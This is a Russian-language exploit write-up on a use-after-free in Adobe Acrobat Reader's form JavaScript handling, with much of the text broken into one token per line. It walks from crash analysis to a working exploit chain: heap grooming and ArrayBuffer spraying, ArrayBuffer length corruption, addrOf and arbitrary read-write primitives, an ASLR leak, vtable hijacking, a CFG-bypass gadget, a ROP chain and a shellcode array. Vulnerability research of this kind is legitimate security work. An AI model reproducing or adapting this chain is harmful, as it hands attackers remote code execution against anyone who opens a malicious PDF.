// write is possible here and we can use this to corrupt length property of a ArrayBuffer
// mov dword ptr [eax], esi ds:002b:13fa0000=45454545
if
(
a2
==
Myhead
->
_Left
)
Myhead
->
_Left
=
a4
;
}
}
.
.
.
}
Используя произвольную запись, можно нарушить длину
ArrayBuffer
и получить возможность чтения-записи out-of-bounds. Это позволяет читать условные данные из или записывать в места памяти, выходящие за границы ArrayBuffer.
Дальнейшее расследование того, как была повреждена карта, показало, что функция AcroForm!CAgg:perator[](unsigned short) вызывала std::map:perator[] с this->map. При исследовании объекта CAgg в отладчике было обнаружено, что он был освобожден и теперь контролируется пользователем. Это открывало возможность для дальнейшей эксплуатации уязвимости.
C++:
// Crash function 2
int
__userpurge CAgg
::
operator
[
]
@
(
CAgg
*
this
@
,
bool
(
*
a2
)
[
27
]
@
,
wchar_t
*
someID
)
{
.
.
.
if
(
this
->
type
==
0x13
)
// *this == (CAgg::getType) | crashes here with page-heaps
// this is the freed pointer
{
.
.
.
}
else
{
.
.
.
else
{
// this path is taken when page-heap is disabled and heap grooming is performed prior to bug trigger
CAgg
::
convert
(
this
,
a2
,
0x14
)
;
v4
=
(
_DWORD
*
)
std
::
map
::
operator
[
]
(
this
->
map
,
(
int
)
v9
,
(
unsigned
__int16
*
)
&
someID
)
;
}
return
*
v4
+
24
;
}
}
Хотя на поврежденном объекте
CAgg
не было очевидных примитивов, можно было прочитать его тип с помощью
this->type
. Функция
CAgg::operator[]
была вызвана из
EScript_ESObjectEnum_CallbackProc
, которая запускается для каждого свойства, перечисляемого
EScript!ESEnumObject
. Это дало некоторое представление о том, как объект был поврежден и потенциально может быть использован.
C++:
int
__usercall EScript_ESObjectEnum_CallbackProc@
(
bool
(
*
ebx0
)
[
27
]
@
,
int
a2
,
wchar_t
*
key_str
,
wchar_t
*
a4
,
int
*
*
*
pCAggData
)
{
CAgg
*
*
pCagg
;
// edi
unsigned
__int16 someID
;
// ax
CAgg
*
v7
;
// eax
pCagg
=
(
CAgg
*
*
)
*
pCAggData
;
// AtomFromString retrieves some integer id from string
//
// bp AcroForm!sub_20AD2A20+0x22 "da poi(esp); gc"
//
someID
=
(
*
(
int
(
__cdecl
*
*
)
(
wchar_t
*
)
)
(
gCoreHFT
+
20
)
)
(
key_str
)
;
// gCoreHFT->ASAtomFromString(a2);
v7
=
(
CAgg
*
)
CAgg
::
operator
[
]
(
(
CAgg
*
)
pCagg
,
ebx0
,
(
wchar_t
*
)
someID
)
;
ESValToCAgg
(
v7
,
a4
,
0
)
;
return
1
;
}
В данном сценарии у нас возникла проблема с объектом
pCagg
. Этот объект уже был освобожден, но он все еще используется в функции обратного вызова
EScript_ESObjectEnum_CallbackProc
, где он передается в функцию
ESValToCAgg
.
Примечание: Эта функция является рекурсивной, поэтому проблема повторяется снова и снова.
Наш анализ показывает, что объекты
CAgg
выделяются внутри функции
std::map::operator[]
во время каждого перебора свойств при установке свойства
richValue
. Однако в процессе
resetForm
свойство
event.target
отлавливается с помощью
__defineGetter__
. Эта функция вызывается во время рекурсивного перебора свойств объекта
doc
. Когда происходит обращение к свойству
target
, вызывается функция
getterFunc
, которая переопределяет свойство
textFont
поля как объект
doc
. Это также устанавливает его
non-configurable
и
non-enumerable
.
Во время второго
resetForm
повторяется тот же процесс, но при повторном вызове
getterFunc
возникает исключение, поскольку свойство
field.textFont
теперь неконфигурируемо. Это вызывает другой путь при доступе к свойству
event.richValue
, который освобождает все объекты
CAgg
, которые были построены до сих пор. Путь освобождения кода вызывается, пока еще идет перечисление объектов, а когда оно завершается, запускается использование освобожденного объекта
CAgg
.
C++:
{
.
.
.
v7
=
0
;
v8
=
15
;
LOBYTE
(
v6
[
0
]
)
=
0
;
sub_2085ECA0
(
v6
,
"EventRichValueInProgress"
)
;
sub_20AAE7D6
(
v15
,
a1
,
(
int
)
v6
[
0
]
,
(
int
)
v6
[
1
]
,
(
int
)
v6
[
2
]
,
(
int
)
v6
[
3
]
,
v7
,
v8
)
;
LOBYTE
(
v16
)
=
3
;
if
(
v13
&&
(
*
(
unsigned
__int16
(
__thiscall
*
*
)
(
_DWORD
,
wchar_t
*
,
const
wchar_t
*
)
)
(
dword_21473CB8
+
180
)
)
(
*
(
_DWORD
*
)
(
dword_21473CB8
+
180
)
,
v13
,
"richValue"
)
)
{
PointerType
=
(
CAgg
*
)
ASCabGetPointerTypeSafe
(
v13
,
(
wchar_t
*
)
"richValue"
,
(
wchar_t
*
)
"CAgg_P"
)
;
if
(
PointerType
)
CAggToESVal
(
0
,
v11
,
PointerType
)
;
// frees all CAggs and maps
}
.
.
.
}
Вышеизложенную гипотезу можно проверить с помощью отладчика, установив следующие брейкпоинты в WinDbg.
Код:
bp AcroForm!resetFormHandler
bp AcroForm!EScript_ESObjectEnum_CallbackProc ".printf \"-- [^] property: %ma - \\n \", poi(esp+8); gc;"
bp AcroForm!uninit_sub_20AA701F+0x25 ".printf \" - alloc: %p \\n \", @eax; .echo; gc"
bp AcroForm!GetRichValueEventProp+0x119 ".printf \" ------------free code path \\n \"; gc"
bp AcroForm!sub_20AD5DE9 ".printf \"[map] root: %p size %p \\n \", poi(@ecx), poi(@ecx+4); gc;"
bp AcroForm!sub_20AD5DE9+0x36 ".printf \" [+] PTR_1 freed: %p \\n \", poi(@esi); gc"
bp AcroForm!sub_20AD6CDD+0x3c ".printf \" [+] PTR_2 freed: %p \\n \", @esi; gc"
bp AcroForm!sub_20AD5ECD+0x33 ".printf \" [+] block freed: %p \\n \", @esi; gc"
bp AcroForm!ESValToCAgg_internal+0x403 ".printf \" [+] pData: %p \\n \", @ecx; gc"
Ниже приведен результат вывода трассировки из указанных брейкпоинтов.
Код:
[+] pData: 00afb1e8
-- [^] property: ADBCAnnotEnumerator -
- alloc: 64b3cfb8
... all other properties ....
-- [^] property: textFont -
- alloc: d41d0fb8 dc d41d0fb8
d41d0fb8 00000000 00000000 00000000 00000000 ................
d41d0fc8 00000000 00000000 abcdbbba 07971000 ................
d41d0fd8 00000010 00001000 00000000 00000000 ................
d41d0fe8 09009a6c dcbabbba 00000000 ffffff82 l...............
d41d0ff8 3b5fafc0 c0c0c001 c0c0c0c0 c0c0c0c0 .._;............
d41d1008 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
d41d1018 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
d41d1028 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
В отладчике мы видим поврежденный объект
std::map
pData: d41d0fd0
, который является частью освобожденного объекта
CAgg
, выделенного во время перечисления свойства
textFont
alloc: d41d0fb8
Когда реализуется путь свободного кода, все объекты и объекты карты освобождаются. Позже к этому же указателю обращаются при обработке перечисления свойств
richValue
, что приводит к возникновению условия
use-after-free
.
Примечание: Во время тестирования для контроля условия use-after-free мы не нашли путей кода, которые позволили бы нам перераспределить освобожденную память таким образом, чтобы это можно было использовать.
Однако мы обнаружили, что определенные размеры объектов могут привести к сбою Adobe Acrobat Reader при разыменовании распыленного шаблона, что дает нам возможность использовать ошибку для удаленного выполнения кода (RCE).
Heap Grooming
C++:
var blockRefs
=
[
]
;
function
groomLFH
(
size
,
count
)
{
log
(
"[+] Grooming LFH blocks of size: "
+
size
+
" count: "
+
count
)
;
const
code
=
"%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u 4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u41 41%u4242%u5353%u5454%u5555%u5656%u5757%u5858%u5959 %u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u 6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a 6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272 %u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u 7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u83 83%u8484"
;
const
string
=
unescape
(
code
)
;
for
(
var i
=
0
;
i
!ext.heap -p -a 36f76fb8
address 36f76fb8 found in
_DPH_HEAP_ROOT @ 9801000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
36f51924: 36f76fb8 48 - 36f76000 2000
6fb1a8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
76fbef0e ntdll!RtlDebugAllocateHeap+0x00000039
76f26150 ntdll!RtlpAllocateHeap+0x000000f0
76f257fe ntdll!RtlpAllocateHeapInternal+0x000003ee
76f253fe ntdll!RtlAllocateHeap+0x0000003e
75d00166 ucrtbase!_malloc_base+0x00000026
6aaaee40 AcroForm!operator new(unsigned int)+0x0000001a
6acf7044 AcroForm!sub_20AA701F+0x00000025
6ad25a56 AcroForm!sub_20AD5A43+0x00000013
6ad25fba AcroForm!std::map::operator[](unsigned short const&)+0x00000057
6ad26bc5 AcroForm!CAgg::operator[](unsigned short)+0x0000003a
6ad22a50 AcroForm!EScript_ESObjectEnum_CallbackProc+0x00000 030
...
6ace3b35 AcroForm!SetRichValueEventProp+0x000001f5
...
При дальнейшем изучении того, что вызывало контролируемый сбой в качестве heap-grooming до срабатывания ошибки, мы заметили, что массив распыленных строковых объектов также используется во время агрегации, когда выполняется
resetForm
. Внутри
CAggToESVal
, когда тип объекта - строка, срабатывает следующий код, который создает новую строку из
CAgg
.
C++:
int
__usercall CAggToESVal@
(
bool
(
*
a1
)
[
27
]
@
,
wchar_t
*
a2
,
CAgg
*
a3
)
{
.
.
.
else
{
m_str
=
(
_EStrRec
*
*
)
CAgg
::
toEStr
(
a3
,
a1
)
;
if
(
*
m_str
)
v14
=
EStrCopyImpl
(
*
m_str
)
;
else
v14
=
0
;
if
(
EStrGetEncoding
(
(
MayBeString
*
)
v14
)
)
EStrSetEncoding
(
v14
,
2
)
;
v15
=
dword_21472158
;
Bytes
=
EStrGetBytes
(
(
MayBeString
*
)
v14
)
;
result
=
(
*
(
(
int
(
__cdecl
*
*
)
(
wchar_t
*
,
int
)
)
v15
+
31
)
)
(
a2
,
Bytes
)
;
// ESValSetString
if
(
v14
)
return
EStrDelete
(
v14
)
;
}
}
Важной деталью, которую следует отметить, является вызов EScript!ESValSetString для создания нового содержимого строки из строкового объекта CAgg (которые являются нашими распыленными строковыми объектами). ESValSetString вызывает sub_1003EBD2 для создания строки с заданным содержимым, который далее отвечает за выделение буфера кучи длиной в строку и копирование в него содержимого исходной строки.
Код:
char **__usercall sub_1003EBD2@(__int128 a1@, int a2, wchar_t *a3)
{
...
sub_1003E853((int *)a2);
if ( a3
&& strlen_0(a3, 0x7FFFFFFFu, 0) > 1
&& (*(_BYTE *)a3 == 0xFE && *((_BYTE *)a3 + 1) == 0xFF || *(_BYTE *)a3 == 0xFF && *((_BYTE *)a3 + 1) == 0xFE) )
{
v24 = 0;
v22 = 0x7FFFFFFF;
_mm_lfence();
v3 = miStrlen(a3, v22, v24);
v4 = JS_malloc_Wrapper(*(_DWORD *)a2, v3); // reallocate freed buffer again when string length is 0x48
Block = (char *)v4;
if ( v4 )
{
v25 = v3;
v23 = (char *)v4;
v21 = (char *)(a3 + 1);
_mm_lfence();
swab(v21, v23, v25);
return JS_NewUCString(a1, *(_DWORD **)a2, Block, v3 / 2 - 1);
}
return 0;
}
...
}
В приведенном выше коде
JS_malloc_Wrapper
перераспределяет освобожденный буфер
CAgg
при обработке большого количества строк, позволяя нам перераспределить буфер с данными, управляемыми пользователем. Когда этот распыленный буфер позже используется в функциях
CAgg::*
, это приводит к сбою при разыменовании данных, управляемых пользователем.
Внутренние компоненты SpiderMonkey в EScript.API
Spidermonkey в Firefox - это JavaScript-движок, используемый в Adobe Reader через плагин EScript.API для обработки JavaScript, встроенного в PDF-файлы. Чтобы эффективно использовать эту ошибку, нам необходимо понять, как объекты JavaScript реализованы в Spidermonkey и как организована их память.
Double хранятся в полном 64-битном значении IEEE-754.
Другие jsval, такие как числа, строки, объекты и т.д. используют 32-бит для маркировки типа и 32-бит для хранения фактического значения (или указателя на объект).
ArrayBuffer
Мы будем использовать
ArrayBuffer
для распыления управляемых пользователем данных по предсказуемым адресам и искажения длины произвольно большим целым значением для получения out-of-bounds read-write примитивов. Давайте посмотрим, как он представлен в памяти.
Реализация ArrayBuffer имеет 0x10 байт заголовок + содержимое, равному указанному размеру.
Код:
4ef0cbf0 00000000 00000400 3cc31450 00000000 ........P..buffer | this+0x28
_mm_lfence();
if ( Src )
memcpy(this[3], Src, Size);
else
memset(this[3], 0, Size);
v7 = this[3];
}
else
{
v10 = 0;
_mm_lfence();
v5 = sub_1013153C((wchar_t *)a2, Size, Src, (_DWORD *)v10);
if ( !v5 )
return 0;
v7 = v5 + 4;
this[3] = v7;
}
*((_DWORD *)v7 - 4) = 0;
*((_DWORD *)v7 - 3) = Size; // length of the ArrayBuffer
*((_DWORD *)v7 - 1) = 0; // typed array pointer initialized to nullptr
*((_DWORD *)v7 - 2) = 0;
return 1;
}
Массив
Код:
var a = new Array();
a[0] = 0x41424142
a[1] = 0x55555555;
a[2] = "javascript";
a[3] = {};
Мы будем использовать
Array
для достижения примитива
addrOf
(адрес). Ниже приведено представление массива JavaScript в памяти.
Код:
0d9a2678 00000000 00000004 00000006 00000004 ................ 0x0: flag, 0x4: initLength, 0x8: capacity, 0xc: length
0d9a2688 41424142 ffffff81 55555555 ffffff81 BABA....UUUU.... (value, tag) for each value
0d9a2698 0d735fe0 ffffff85 0d9bf200 ffffff87 ._s.............
0d9a26a8 00000000 00000000 00000000 00000000 ................
0d9a26b8 00000000 00000000 00000000 00000000 ................
0d9a26c8 00000000 00000000 00000000 00000000 ................
0d9a26d8 00000000 00000000 00000000 00000000 ................
0d9a26e8 00000000 00000000 00000000 00000000 ................
sub_1004DBA9 в EScript.api отвечает за создание массивов и может отслеживаться при распылении массивов.
Содержимое массива организовано в памяти в виде кортежа (тег, значение), где тег используется для идентификации типа, связанного со значением.
Например:
Код:
Number - ffffff81
String - ffffff85
Object - ffffff87
Когда у нас есть
out-of-bounds
к
ArrayBuffer
, мы можем распылить большой массив JavaScript сразу после
ArrayBuffer
и использовать
out-of-bounds
примитив для чтения адреса любого произвольного объекта JavaScript.
Мы можем увидеть, как наша строка представлена в памяти, сделав дамп памяти указателя выше.
Код:
0:016> dc 0d735fe0
0d735fe0 000000a8 0d735fe8 0061006a 00610076 ....._s.j.a.v.a. 0x0: length, 0x4: ptr to content, 0x8: inlined contents
0d735ff0 00630073 00690072 00740070 00000000 s.c.r.i.p.t.....
0d736000 0bf80fb0 0d734000 0fff1000 00000013 .....@s.........
0d736010 00000228 0c1451f8 00000000 00000000 (....Q..........
0d736020 000000d8 0c0b8638 00000000 00000000 ....8...........
0d736030 000000d8 0c0b8660 00000000 00000000 ....`...........
0d736040 000001e8 0c149bb0 00000000 00000000 ................
0d736050 000000f8 0c0b8890 00000000 00000000 ................
Далее, в процессе эксплуатации, мы будем создавать поддельные строки с помощью
ArrayBuffer
и использовать одну из распыленных поддельных строк для чтения произвольного содержимого памяти, добиваясь временного примитива произвольного чтения.
Эксплуатация
Использовали
.dvalloc
, чтобы проверить, есть ли у нас контролируемые сбои при чтении-записи или сбои при вызове произвольного указателя виртуальной функции. Мы обнаружили сбой, который приводит к произвольной записи на нашем контролируемом адресе.
*(*ecx) = some_32_value
, где
ecx
- указатель, управляемый пользователем.
Стратегия
Распылите ArrayBuffer, чтобы получить распределение по предсказуемому адресу, например 0x20000048
Grom LFH с нашим заданным шаблоном для повреждения ArrayBuffer по предсказуемому адресу
Спровоцировать уязвимость, чтобы использовать освобожденный буфер и повредить длину ArrayBuffer
Используйте поврежденный ArrayBuffer для создания поддельной строки, чтобы достичь произвольного примитива чтения
Используйте произвольное чтение из поддельной строки для создания поддельного DataView для достижения произвольных примитивов чтения-записи
Повредить виртуальную таблицу поля, чтобы перехватить управление выполнением
Обход CFG
Выполнение шеллкода
Восстановление поврежденных объектов и чистое восстановление
Spraying ArrayBuffer
Код:
var SPRAY = [];
for(var i=0; i s -d 0 L?0xffffffff 0x41424344
0x4ef0cc00 41424344 45464748 00000000 00000000 DCBAHGFE........
0:015> !ext.heap -p -a 0x4ef0cc00
address 4ef0cc00 found in
_DPH_HEAP_ROOT @ 9521000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
4eed11a0: 4ef0cbf0 410 - 4ef0c000 2000
6ddea8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7714ef0e ntdll!RtlDebugAllocateHeap+0x00000039
770b6150 ntdll!RtlpAllocateHeap+0x000000f0
770b57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
770b53fe ntdll!RtlAllocateHeap+0x0000003e
767919c7 ucrtbase!_calloc_base+0x00000037
69481bd5 EScript!sub_10011BAE+0x00000027
695a15ce EScript!sub_1013153C+0x00000092
695a1a4e EScript!sub_10131A2C+0x00000022
695a4bce EScript!sub_10134B68+0x00000066
695a1d75 EScript!sub_10131D10+0x00000065
694a95b0 EScript!sub_100394E9+0x000000c7
694a3505 EScript!js_Interpret+0x00001056
694a246b EScript!sub_10032412+0x00000059
694a237b EScript!sub_10032315+0x00000066
694a22b0 EScript!js_Execute+0x0000007d
6948b6b0 EScript!JS_EvaluateUCScriptForPrincipals+0x0000008 b
694ca9c6 EScript!JS_EvaluateUCScript+0x0000004d
694ca6cb EScript!ESExecScript+0x0000010b
Проверка резервной памяти
ArrayBuffer
(чанк буфера массива + размер заголовка (
0x10
)).
Код:
0:015> ? 410
Evaluate expression: 1040 = 00000410
0:015> ? 4ef0cc00 - 4ef0cbf0
Evaluate expression: 16 = 00000010
0:015> dc 4ef0cbf0
4ef0cbf0 00000000 00000400 3cc31450 00000000 ........P.. ? 0x400
Evaluate expression: 1024 = 00000400
Используя брейкпоинты WinDbg в коде конструктора, мы можем найти адреса, по которым выделяется
ArrayBuffer
.
Код:
bp Escript+0x131a4e ".printf \"[ArrayBuffer alloc] %p \\n\", eax; gc"
Теперь давайте посмотрим, как выглядит фактический спрей
ArrayBuffer
в эксплойте.
C++:
function
sprayArrBuffers
(
)
{
for
(
var i
=
0
;
i
dc 0x20000048
20000048 00000000 0000ffe8 135c4348 00000000 ........HC\..... +0x4: length, +0x8: typed array
20000058 20000060 00000000 00000000 20000044 `.. ........D..
20000068 33333333 33333333 33333333 33333333 3333333333333333
20000078 33333333 33333333 33333333 33333333 3333333333333333
20000088 33333333 33333333 33333333 33333333 3333333333333333
20000098 00000000 00000000 00000000 00000000 ................
200000a8 00000000 00000000 00000000 00000000 ................
200000b8 00000000 00000000 00000000 00000000 ................
Используя
heap grooming
с нашим предсказуемым шаблоном адреса и запустив уязвимость, мы видим, что длина
ArrayBuffer
повреждена/изменена.
Код:
// encoding %u0058%u2000% at offset required by vulnerability
const code =
"%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u 4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u00 58%u2000%u5353%u5454%u5555%u5656%u5757%u5858%u5959 %u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u 6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a 6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272 %u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u 7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u83 83%u8484";
Код:
0:023> dc 20000048
20000048 00000000 247c3308 243722f0 00000000 .....3|$."7$.... +0x4: length, +0x8: typed array
20000058 20000060 00000000 00000000 20000044 `.. ........D..
20000068 33333333 33333333 33333333 33333333 3333333333333333
20000078 33333333 33333333 33333333 33333333 3333333333333333
20000088 33333333 33333333 33333333 33333333 3333333333333333
20000098 00000000 00000000 00000000 00000000 ................
200000a8 00000000 00000000 00000000 00000000 ................
200000b8 00000000 00000000 00000000 00000000 ................
Длина
ArrayBuffer
искажается значением указателя, что позволяет осуществлять
out-of-bounds
read-write
вне границ кучи.
Как только уязвимость сработает, поврежденный
ArrayBuffer
можно найти с помощью приведенного ниже кода.
C++:
for
(
var i
=
0
;
i
0x007d0
->
0x00f90
->
0x01f10
->
0x03e10
->
0x07c10
->
0x0f810
Повторная аллокация с размером 0x0f810 должны поместить аллокацию массива сразу после последнего
ArrayBuffer
из нашего спрея
Когда мы читаем
out-of-bound
из поврежденного
ArrayBuffer
, мы должны иметь возможность прочитать содержимое распыленного массива
[/LIST]
C++:
for
(
var i
=
0
;
i
g
24188270 00000000 00000f80 00000f80 00000f80 ................
24188280 47484950 ffffff81 0db3c420 ffffff85 PIHG.... .......
24188290 0dda27c0 ffffff87 50515051 ffffff81 .'......QPQP....
241882a0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
241882b0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
241882c0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
241882d0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
241882e0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
0:015> !ext.heap -p -a 24188270
address 24188270 found in
_HEAP @ 4f10000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
24188268 1f03 0000 [00] 24188270 0f810 - (busy)
Где
0db3c420 ffffff85
-
targetStr
, а
0dda27c0 ffffff87
-
targetDataView
.
addrOf Primitive
Примитив
addrOf
приводит к утечке адреса любого объекта JavaScript путем чтения адреса объекта, хранящегося в распыленном
Array
, используя примитивы, выходящие за границы.
CorruptedTypedArr
- это типизированный массив с поврежденной длиной
ArrayBuffer
, а
arrStart
- это индекс, в котором находится JavaScript Array от начала поврежденного
ArrayBuffer
.
modified_arr
- это массив JavaScript из распыленных массивов, который мы будем использовать для искажения и утечки адресов.
C++:
function
addrOf
(
obj
)
{
modified_arr
[
0
]
=
obj
;
addr
=
corruptedTypedArr
[
arrStart
+
4
]
;
return
addr
;
}
Temporary Arbitrary Read Primitive
Примитив
poi
позволяет нам прочитать значение по произвольному адресу.
Чтобы получить примитив
poi
, нужно выполнить несколько шагов:
Аллоцируйте строку в глобальной области видимости, например
var targetStr = "Hello";
Распылите вышеуказанный строковый объект как элемент в распыленных массивах
arrs[i][1] = targetStr;
Распыление поддельной строковой структуры внутри распыленного
ArrayBuffer
Код:
uintArr[FAKE_STR_START] = 0x102; //
typeuintArr[FAKE_STR_START+1] = arrBufPtr+0x40; // buffer
4.После достижения
out-of-bounds
примитивов мы присваиваем фальшивой строке адрес объекта распыленной строки из массива
uintArr[arrStart+6] = FAKE_STR;
.
5. Теперь
targetStr
, который был распылен вместе с
Array
, можно спутать с поддельной струной.
6. Чтение значений с заданного произвольного адреса достигается путем установки addr на указатель буфера поддельной строки, а затем обычного чтения объекта targetStr нашего модифицированного массива. Это позволит нам считывать значения с произвольных адресов.
C++:
function
s2h
(
s
)
{
var n1
=
s
.
charCodeAt
(
0
)
var n2
=
s
.
charCodeAt
(
1
)
return
(
(
n2
>
>
0
}
function
poi
(
addr
)
{
// leak values at addr by setting it to string pointer
corruptedTypedArr
[
FAKE_STR_START
+
1
]
=
addr
;
val
=
s2h
(
modified_arr
[
1
]
)
;
return
val
;
}
Arbitrary Read-Write Primitives
Как только мы достигнем
out-of-bounds
чтения-записи в
ArrayBuffer
, мы можем использовать примитивы
addrOf
и
poi
для выполнения произвольного чтения. Используя эти примитивы, мы можем получить полные произвольные примитивы чтения-записи, используя объект JavaScript DataView.
Чтобы создать произвольные примитивы чтения-записи с помощью объекта DataView, мы можем выполнить следующие шаги:
Создайте объект
DataView
с валидным
ArrayBuffer
и установите для него начальное значение:
C++:
var targetDV
=
new
DataView
(
new
ArrayBuffer
(
0x64
)
)
;
targetDV
.
setUint32
(
0
,
0x55555555
,
true
)
;
Распылите объект targetDV как элемент в массиве распыленных массивов:
C++:
for
(
var i
=
0
;
i
<
0x10
;
i
++
)
{
.
.
.
arrs
[
i
]
[
2
]
=
targetDV
;
.
.
.
}
Создайте поддельный объект
DataView
путем распыления
ArrayBuffer
и установки значения
magic number
в начале распыления.
C++:
uintArr
[
FAKE_DV_START
]
=
0x77777777
;
После достижения
out-of-bounds
примитивов, присвойте поддельный объект
DataView
адресу распыленного объекта
DataView
.
C++:
uintArr
[
arrStart
+
8
]
=
FAKE_DV
;
Клонируйте содержимое валидного объекта
DataView
в поддельный
DataView
, используя ранее созданные примитивы.
C++:
var targetDVPtr
=
addrOf
(
targetDV
)
;
for
(
var k
=
0
;
k
<
32
;
k
++
)
{
corruptedTypedArr
[
FAKE_DV_START
+
k
]
=
poi
(
targetDVPtr
+
(
k
*
4
)
)
;
}
Наконец, для выполнения произвольного чтения-записи установите поддельный указатель
ArrayBuffer
объекта
DataView
и выполняйте чтение/запись из объекта
DataView
.
C++:
function
AAR
(
addr
)
{
corruptedTypedArr
[
FAKE_DV_START
+
20
]
=
addr
;
return
modified_arr
[
2
]
.
getUint32
(
0
,
true
)
;
}
function
AAW
(
addr
,
value
)
{
corruptedTypedArr
[
FAKE_DV_START
+
20
]
=
addr
;
modified_arr
[
2
]
.
setUint32
(
0
,
value
,
true
)
;
}
Запуск shellcode'а
Для выполнения шеллкода мы используем примитивы произвольного чтения-записи (AAR/AAW), чтобы обойти ASLR и CFG.
Действовать нужно следующим образом:
Обойти
ASLR
путем утечки базового адреса
AcroForm.api
из объекта поля
C++:
var AcroFormApiBase
=
AAR
(
AAR
(
addrOf
(
testField
)
+
0x10
)
+
0x34
)
-
0x00293fe0
Утечка адреса поля
vtable
C++:
var fieldVtblAddr
=
AAR
(
AAR
(
AAR
(
AAR
(
addrOf
(
testField
)
+
0x10
)
+
0x10
)
+
0xc
)
+
4
)
var fieldVtbl
=
AAR
(
fieldVtblAddr
)
Клонируем
vtable
в кучу (клонирование необходимо, так как у нас нет разрешения на запись по адресу
vtable
). Мы клонируем ее на выбранный нами адрес кучи (выбранный из спрея
ArrayBuffer
) и производим дальнейшие модификации там.
C++:
for
(
var i
=
0
;
i
<
32
;
i
++
)
{
AAW
(
arrBufPtr
+
0x100
+
(
i
*
4
)
,
AAR
(
fieldVtbl
+
i
*
4
)
)
;
}
Выполните
stack pivoting
в нашу контролируемую кучу для выполнения шеллкода. Мы подготовим фальшивый стек на куче с необходимыми деталями, как показано ниже:
C++:
AAW
(
arrBufPtr
+
0x100
+
0x48
,
AcroFormApiBase
+
0x6faa60
)
;
// CFG gadget = AcroForm!sub_20EFAA60;
AAW
(
arrBufPtr
+
0x100
+
0x30
,
AcroFormApiBase
+
0x256984
)
;
// 0x6b5e6984: mov esp, eax; dec ecx; ret;
AAW
(
arrBufPtr
+
0x100
,
AcroFormApiBase
+
0x1e646
)
;
// 0x6b3ae646: pop esp; ret;
AAW
(
arrBufPtr
+
0x100
+
4
,
arrBufPtr
+
0x300
)
;
// our pivoted stack
AAW
(
fieldVtblAddr
,
arrBufPtr
+
0x100
)
;
// field vtable
Установите
ROP
и выполните шеллкод
C++:
var rop
=
[
AAR
(
AcroFormApiBase
+
0x007da108
)
,
// virtualprotect
arrBufPtr
+
0x400
,
// return address
arrBufPtr
+
0x400
,
// buffer
0x1000
,
// sz
0x40
,
// new protect
arrBufPtr
+
0x340
]
;
for
(
var i
=
0
;
i
<
rop
.
length
;
i
++
)
{
AAW
(
arrBufPtr
+
0x300
+
4
*
i
,
rop
[
i
]
)
;
}
var shellcode
=
[
0x90909090
,
835867240
,
1667329123
,
1415139921
,
1686860336
,
2339769483
,
1980542347
,
814448152
,
2338274443
,
1545566347
,
1948196865
,
4270543903
,
605009708
,
390218413
,
2168194903
,
1768834421
,
4035671071
,
469892611
,
1018101719
,
2425393296
]
;
for
(
var i
=
0
;
i
<
shellcode
.
length
;
i
++
)
{
AAW
(
arrBufPtr
+
0x400
+
i
*
4
,
re
(
shellcode
[
i
]
)
)
;
}
Наконец, вызовите шеллкод, обратившись к свойству
defaultValue
объекта
testField
.
C++:
var ret
=
testField
.
defaultValue
;
Control Flow Guard (CFG) Bypass
В Adobe Acrobat Reader по умолчанию включен
CFG
, поэтому невозможно вызвать шеллкод напрямую. Предыдущие версии эксплойтов полагались на использование не
CFG
модулей в Adobe Reader для создания цепочки
ROP
, но в новых версиях все модули включены в
CFG
.
Один из способов обойти это - использовать
call sites,
не оснащенные
CFG
. В Adobe Acrobat Reader мы обнаружили несколько не
CFG
-инструментированных call sites, которые можно использовать для обхода
CFG
. Одной из таких функций является
sub_20EFAA60
, которая позволяет нам вызвать адрес, который мы контролируем, сохраняя его в регистре ecx.
Код:
.text:20EFAA60 ; int __thiscall sub_20EFAA60(void *this)
.text:20EFAA60 sub_20EFAA60 proc near ; DATA XREF: .rdata:20FF8C11↓o
.text:20EFAA60 ; .rdata:21131674↓o ...
.text:20EFAA60 mov eax, [ecx]
.text:20EFAA62 push 0Dh
.text:20EFAA64 call dword ptr [eax+30h]
.text:20EFAA67 retn
.text:20EFAA67 sub_20EFAA60 endp
Это может быть использовано для управления выполнением программы и выполнения шеллкода.
Context Restoration and Recovery
После выполнения шеллкода программа Acrobat Reader завершает работу, поскольку соответствующий контекст не был восстановлен. Чтобы Adobe Acrobat Reader продолжал работать после эксплуатации, важно восстановить этот контекст.
Это включает в себя несколько этапов:
Восстановление
targetStr
и
[CODE]
targetDV
с помощью поддельной строки и
DataView
, которые были созданы ранее
Восстановление исходной таблицы
vtable
, которая была захвачена для выполнения кода
Исправление любых повреждений, вызванных повреждением
ArrayBuffer
, и других побочных эффектов этого повреждения
Восстановление стека (это делается в части восстановления шеллкода)
Восстановление
ESP
до значения по умолчанию (это также делается в части восстановления шеллкода)
Резервное копирование исходных значений до повреждения, чтобы их можно было восстановить после выполнения шеллкода (это показано в приведенном ниже фрагменте)
